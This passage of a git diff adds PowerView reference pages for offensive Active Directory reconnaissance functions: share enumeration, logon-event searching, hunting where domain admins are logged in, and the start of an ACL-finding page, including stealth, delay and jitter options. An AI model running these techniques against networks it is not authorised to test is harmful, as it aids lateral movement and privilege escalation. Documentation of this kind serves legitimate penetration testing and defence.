False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain and target systems. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -StopOnSuccess +Switch. +Stop hunting after finding after finding a target user. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Delay +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Jitter +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +```yaml +Type: Double +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0.3 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Threads +The number of threads to use for user searching, defaults to 20. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 20 +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.UserProcess + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Find-DomainShare.md b/docs/Recon/Find-DomainShare.md new file mode 100755 index 0000000..71274b7 --- /dev/null +++ b/docs/Recon/Find-DomainShare.md @@ -0,0 +1,335 @@ +# Find-DomainShare + +## SYNOPSIS +Searches for computer shares on the domain. +If -CheckShareAccess is passed, +then only shares the current user has read access to are returned. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, New-ThreadedFunction + +## SYNTAX + +``` +Find-DomainShare [[-ComputerName] ] [-ComputerDomain ] [-ComputerLDAPFilter ] + [-ComputerSearchBase ] [-ComputerOperatingSystem ] [-ComputerServicePack ] + [-ComputerSiteName ] [-CheckShareAccess] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] + [-Delay ] [-Jitter ] [-Threads ] +``` + +## DESCRIPTION +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and enumerates the available shares for each +machine with Get-NetShare. +If -CheckShareAccess is passed, then +\[IO.Directory\]::GetFiles() is used to check if the current user has read +access to the given share. +If -Credential is passed, then +Invoke-UserImpersonation is used to impersonate the specified user before +enumeration, reverting after with Invoke-RevertToSelf. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-DomainShare +``` + +Find all domain shares in the current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Find-DomainShare -CheckShareAccess +``` + +Find all domain shares in the current domain that the current user has +read access to. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainShare -Domain testlab.local -Credential $Cred + +Searches for domain shares in the testlab.local domain using the specified alternate credentials. + +## PARAMETERS + +### -ComputerName +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DNSHostName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -ComputerDomain +Specifies the domain to query for computers, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Domain + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerLDAPFilter +Specifies an LDAP query string that is used to search for computer objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSearchBase +Specifies the LDAP source to search through for computers, +e.g. +"LDAP://OU=secret,DC=testlab,DC=local". +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerOperatingSystem +Search computers with a specific operating system, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: OperatingSystem + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerServicePack +Search computers with a specific service pack, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServicePack + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSiteName +Search computers in the specific AD Site name, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: SiteName + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -CheckShareAccess +Switch. +Only display found shares that the local user has access to. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: CheckAccess + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain and target systems. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Delay +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Jitter +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +```yaml +Type: Double +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0.3 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Threads +The number of threads to use for user searching, defaults to 20. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 20 +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.ShareInfo + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Find-DomainUserEvent.md b/docs/Recon/Find-DomainUserEvent.md new file mode 100755 index 0000000..12e64a9 --- /dev/null +++ b/docs/Recon/Find-DomainUserEvent.md @@ -0,0 +1,451 @@ +# Find-DomainUserEvent + +## SYNOPSIS +Finds logon events on the current (or remote domain) for the specified users. + +Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction + +## SYNTAX + +### Domain (Default) +``` +Find-DomainUserEvent [-Domain ] [-Filter ] [-StartTime ] [-EndTime ] + [-MaxEvents ] [-UserIdentity ] [-UserDomain ] [-UserLDAPFilter ] + [-UserSearchBase ] [-UserGroupIdentity ] [-UserAdminCount] [-CheckAccess] [-Server ] + [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] + [-Credential ] [-StopOnSuccess] [-Delay ] [-Jitter ] [-Threads ] +``` + +### ComputerName +``` +Find-DomainUserEvent [[-ComputerName] ] [-Filter ] [-StartTime ] + [-EndTime ] [-MaxEvents ] [-UserIdentity ] [-UserDomain ] + [-UserLDAPFilter ] [-UserSearchBase ] [-UserGroupIdentity ] [-UserAdminCount] + [-CheckAccess] [-Server ] [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] + [-Tombstone] [-Credential ] [-StopOnSuccess] [-Delay ] [-Jitter ] + [-Threads ] +``` + +## DESCRIPTION +Enumerates all domain controllers from the specified -Domain +(default of the local domain) using Get-DomainController, enumerates +the logon events for each using Get-DomainUserEvent, and filters +the results based on the targeting criteria. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-DomainUserEvent +``` + +Search for any user events matching domain admins on every DC in the current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$cred = Get-Credential dev\administrator +``` + +Find-DomainUserEvent -ComputerName 'secondary.dev.testlab.local' -UserIdentity 'john' + +Search for any user events matching the user 'john' on the 'secondary.dev.testlab.local' +domain controller using the alternate credential + +### -------------------------- EXAMPLE 3 -------------------------- +``` +'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'} +``` + +Find user events on the primary.testlab.local system where the event matches +the IPAddress '192.168.52.200' or '192.168.52.201'. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$cred = Get-Credential testlab\administrator +``` + +Find-DomainUserEvent -Delay 1 -Filter @{'LogonGuid'='b8458aa9-b36e-eaa1-96e0-4551000fdb19'; 'TargetLogonId' = '10238128'; 'op'='&'} + +Find user events mathing the specified GUID AND the specified TargetLogonId, searching +through every domain controller in the current domain, enumerating each DC in serial +instead of in a threaded manner, using the alternate credential. + +## PARAMETERS + +### -ComputerName +Specifies an explicit computer name to retrieve events from. + +```yaml +Type: String[] +Parameter Sets: ComputerName +Aliases: dnshostname, HostName, name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Domain +Specifies a domain to query for domain controllers to enumerate. +Defaults to the current domain. + +```yaml +Type: String +Parameter Sets: Domain +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Filter +A hashtable of PowerView.LogonEvent properties to filter for. +The 'op|operator|operation' clause can have '&', '|', 'and', or 'or', +and is 'or' by default, meaning at least one clause matches instead of all. +See the exaples for usage. + +```yaml +Type: Hashtable +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -StartTime +The \[DateTime\] object representing the start of when to collect events. +Default of \[DateTime\]::Now.AddDays(-1). + +```yaml +Type: DateTime +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [DateTime]::Now.AddDays(-1) +Accept pipeline input: True (ByPropertyName) +Accept wildcard characters: False +``` + +### -EndTime +The \[DateTime\] object representing the end of when to collect events. +Default of \[DateTime\]::Now. + +```yaml +Type: DateTime +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [DateTime]::Now +Accept pipeline input: True (ByPropertyName) +Accept wildcard characters: False +``` + +### -MaxEvents +The maximum number of events (per host) to retrieve. +Default of 5000. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 5000 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserIdentity +Specifies one or more user identities to search for. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserDomain +Specifies the domain to query for users to search for, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserLDAPFilter +Specifies an LDAP query string that is used to search for target users. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserSearchBase +Specifies the LDAP source to search through for target users. +e.g. +"LDAP://OU=secret,DC=testlab,DC=local". +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserGroupIdentity +Specifies a group identity to query for target users, defaults to 'Domain Admins. +If any other user specifications are set, then UserGroupIdentity is ignored. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: GroupName, Group + +Required: False +Position: Named +Default value: Domain Admins +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserAdminCount +Switch. +Search for users users with '(adminCount=1)' (meaning are/were privileged). + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: AdminCount + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -CheckAccess +{{Fill CheckAccess Description}} + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target computer(s). + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -StopOnSuccess +Switch. +Stop hunting after finding after finding a target user. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Delay +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Jitter +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +```yaml +Type: Double +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0.3 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Threads +The number of threads to use for user searching, defaults to 20. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 20 +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.LogonEvent + +PowerView.ExplicitCredentialLogon + +## NOTES + +## RELATED LINKS + +[http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/](http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/) + diff --git a/docs/Recon/Find-DomainUserLocation.md b/docs/Recon/Find-DomainUserLocation.md new file mode 100755 index 0000000..0d200aa --- /dev/null +++ b/docs/Recon/Find-DomainUserLocation.md @@ -0,0 +1,579 @@ +# Find-DomainUserLocation + +## SYNOPSIS +Finds domain machines where specific users are logged into. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction + +## SYNTAX + +### UserGroupIdentity (Default) +``` +Find-DomainUserLocation [[-ComputerName] ] [-Domain ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerUnconstrained] + [-ComputerOperatingSystem ] [-ComputerServicePack ] [-ComputerSiteName ] + [-UserDomain ] [-UserLDAPFilter ] [-UserSearchBase ] [-UserGroupIdentity ] + [-UserAdminCount] [-UserAllowDelegation] [-CheckAccess] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] + [-StopOnSuccess] [-Delay ] [-Jitter ] [-Stealth] [-StealthSource ] [-Threads ] +``` + +### UserIdentity +``` +Find-DomainUserLocation [[-ComputerName] ] [-Domain ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerUnconstrained] + [-ComputerOperatingSystem ] [-ComputerServicePack ] [-ComputerSiteName ] + [-UserIdentity ] [-UserDomain ] [-UserLDAPFilter ] [-UserSearchBase ] + [-UserAdminCount] [-UserAllowDelegation] [-CheckAccess] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] + [-StopOnSuccess] [-Delay ] [-Jitter ] [-Stealth] [-StealthSource ] [-Threads ] +``` + +### ShowAll +``` +Find-DomainUserLocation [[-ComputerName] ] [-Domain ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerUnconstrained] + [-ComputerOperatingSystem ] [-ComputerServicePack ] [-ComputerSiteName ] + [-UserDomain ] [-UserLDAPFilter ] [-UserSearchBase ] [-UserAdminCount] + [-UserAllowDelegation] [-CheckAccess] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-Tombstone] [-Credential ] [-StopOnSuccess] [-Delay ] + [-Jitter ] [-ShowAll] [-Stealth] [-StealthSource ] [-Threads ] +``` + +## DESCRIPTION +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and queries the domain for users of a specified group +(default 'Domain Admins') with Get-DomainGroupMember. +Then for each server the +function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon +The found user list is compared against the target list, and any matches are +displayed. +If -ShowAll is specified, all results are displayed instead of +the filtered set. +If -Stealth is specified, then likely highly-trafficed servers +are enumerated with Get-DomainFileServer/Get-DomainController, and session +enumeration is executed only against those servers. +If -Credential is passed, +then Invoke-UserImpersonation is used to impersonate the specified user +before enumeration, reverting after with Invoke-RevertToSelf. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-DomainUserLocation +``` + +Searches for 'Domain Admins' by enumerating every computer in the domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Find-DomainUserLocation -Stealth -ShowAll +``` + +Enumerates likely highly-trafficked servers, performs just session enumeration +against each, and outputs all results. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Find-DomainUserLocation -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local +``` + +Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged +users in dev.testlab.local. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainUserLocation -Domain testlab.local -Credential $Cred + +Searches for domain admin locations in the testlab.local using the specified alternate credentials. + +## PARAMETERS + +### -ComputerName +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DNSHostName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to query for computers AND users, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerDomain +Specifies the domain to query for computers, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerLDAPFilter +Specifies an LDAP query string that is used to search for computer objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSearchBase +Specifies the LDAP source to search through for computers, +e.g. +"LDAP://OU=secret,DC=testlab,DC=local". +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerUnconstrained +Switch. +Search computer objects that have unconstrained delegation. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: Unconstrained + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerOperatingSystem +Search computers with a specific operating system, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: OperatingSystem + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerServicePack +Search computers with a specific service pack, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServicePack + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSiteName +Search computers in the specific AD Site name, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: SiteName + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserIdentity +Specifies one or more user identities to search for. + +```yaml +Type: String[] +Parameter Sets: UserIdentity +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserDomain +Specifies the domain to query for users to search for, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserLDAPFilter +Specifies an LDAP query string that is used to search for target users. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserSearchBase +Specifies the LDAP source to search through for target users. +e.g. +"LDAP://OU=secret,DC=testlab,DC=local". +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserGroupIdentity +Specifies a group identity to query for target users, defaults to 'Domain Admins. +If any other user specifications are set, then UserGroupIdentity is ignored. + +```yaml +Type: String[] +Parameter Sets: UserGroupIdentity +Aliases: GroupName, Group + +Required: False +Position: Named +Default value: Domain Admins +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserAdminCount +Switch. +Search for users users with '(adminCount=1)' (meaning are/were privileged). + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: AdminCount + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserAllowDelegation +Switch. +Search for user accounts that are not marked as 'sensitive and not allowed for delegation'. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: AllowDelegation + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -CheckAccess +Switch. +Check if the current user has local admin access to computers where target users are found. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain and target systems. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -StopOnSuccess +Switch. +Stop hunting after finding after finding a target user. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Delay +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Jitter +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +```yaml +Type: Double +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0.3 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ShowAll +Switch. +Return all user location results instead of filtering based on target +specifications. + +```yaml +Type: SwitchParameter +Parameter Sets: ShowAll +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Stealth +Switch. +Only enumerate sessions from connonly used target servers. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -StealthSource +The source of target servers to use, 'DFS' (distributed file servers), +'DC' (domain controllers), 'File' (file servers), or 'All' (the default). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: All +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Threads +The number of threads to use for user searching, defaults to 20. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 20 +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.UserLocation + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Find-InterestingDomainAcl.md b/docs/Recon/Find-InterestingDomainAcl.md new file mode 100755 index 0000000..eeda73a --- /dev/null +++ b/docs/Recon/Find-InterestingDomainAcl.md @@ -0,0 +1,239 @@ +# Find-InterestingDomainAcl + +## SYNOPSIS +Finds object ACLs in the current (or specified) domain with modification +rights set to non-built in objects. + +Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObjectAcl, Get-DomainObject, Convert-ADName + +## SYNTAX + +``` +Find-InterestingDomainAcl [[-Domain] ] [-ResolveGUIDs] [-RightsFilter ] [-LDAPFilter ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-Tombstone] [-Credential ] +``` + +## DESCRIPTION +This function enumerates the ACLs for every object in the domain with Get-DomainObjectAcl, 